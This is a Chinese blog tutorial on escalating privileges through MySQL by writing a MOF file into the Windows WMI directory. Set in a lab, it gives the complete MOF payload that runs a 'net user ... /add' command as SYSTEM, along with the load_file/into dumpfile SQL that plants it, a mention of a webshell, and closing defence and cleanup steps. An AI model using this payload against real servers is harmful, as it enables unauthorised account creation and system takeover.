MySQL_MOF提权

一、原理

Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:

  1. 将MOF文件执行为命令行参数及Mofcomp.exe文件
  2. 使用IMofCompiler接口和$CompileFile方法
  3. 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹下的MOF文件中

托管对象格式(MOF)文件在 C:\Windows\System32\wbem\MOF 目录下,它是创建和注册提供程序、事件类别和事件的简便方法。其作用是每隔五秒就会去监控进程创建和死亡。那么只需要将恶意代码写入该文件中即可提权。

 

二、前提

mysql5.7 开始默认使用 secure-file-priv 选项,不能随意选择导出路径,所以 mof 提权仅适用于以下条件:

  1. 操作系统版本低于 win2008
  2. 数据库为 mysql<5.7 且知道登录账号密码并且允许外连

总结来说就是当前 root 账户可以复制文件到 %SystemRoot%\System32\wbem\MOF 目录下。

 

三、提权

3.1实验环境

攻击机:win10  ip:192.168.34.1

靶机:win2003  ip:192.168.34.131

攻击机在靶机写入一句话木马,蚁剑连接。

 

3.2利用方法

先 select version(); 判断数据库版本,小于 5.7 可以利用 mof 提权。

MySQL_MOF提权_第1张图片

 

将以下代码保存为 test.mof 文件,修改第 17 行代码为添加一个普通用户命令。

 1 #pragma namespace("\\.\root\subscription")
 2 instance of __EventFilter as $EventFilter
 3 {
 4 EventNamespace = "Root\\Cimv2";
 5 Name  = "filtP2";
 6 Query = "Select * From __InstanceModificationEvent "
 7 "Where TargetInstance Isa \"Win32_LocalTime\" "
 8 "And TargetInstance.Second = 5";
 9 QueryLanguage = "WQL";
10 };
11 
12 instance of ActiveScriptEventConsumer as $Consumer
13 {
14 Name = "consPCSV2";
15 ScriptingEngine = "JScript";
16 ScriptText =
17 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moftest mof.test /add\")";
18 };
19 
20 instance of __FilterToConsumerBinding
21 {
22 Consumer   = $Consumer;
23 Filter = $EventFilter;
24 };

 

上传该文件到服务器上任意位置,再通过 mysql 语句将文件导入。

select load_file('C:/phpStudy/WWW/test.mof') into dumpfile 'C:/WINDOWS/system32/wbem/mof/test.mof';

 

执行导入命令失败,SHOW VARIABLES LIKE "secure_file_priv"; 命令查看当前 secure_file_priv。

MySQL_MOF提权_第2张图片

 

为了实验看一下效果,靶机 my.ini 添加一行 secure_file_priv = 代表不限制目录,重启 mysql 再执行一次导入命令。

导入后,系统会自动运行该文件,可以再修改第 17 行代码进行添加管理员等操作。由于 mof 是由 system 执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。

 

四、防范

  1. 尽量不要使用 root 账号连接数据库
  2. root 账号使用强加密方式
  3. 对 mysql 数据库目录权限严格限制
  4. 操作系统目录 C:\Windows\System32\wbem 禁止写入

如果服务器发现被使用 mof 提权,解决循环创建用户方法:

  1. 打开 cmd 使用命令:net stop winmgmt
  2. 删除文件夹下内容 C:\Windows\System32\wbem\Repository
  3. 再执行 net start winmgmt 即可

 

五、总结

这篇随笔和上一篇MySQL_UDF提权 https://www.cnblogs.com/wkzb/p/13174291.html 都是MySQL提权方式的小总结,如果有错误欢迎师傅们批评指正。

 

 

 

参考:

https://www.jianshu.com/p/6dbac868e2ab

https://netsecurity.51cto.com/art/201610/520320.htm

https://blog.51cto.com/z2ppp/1975985

 

你可能感兴趣的:(MySQL_MOF提权)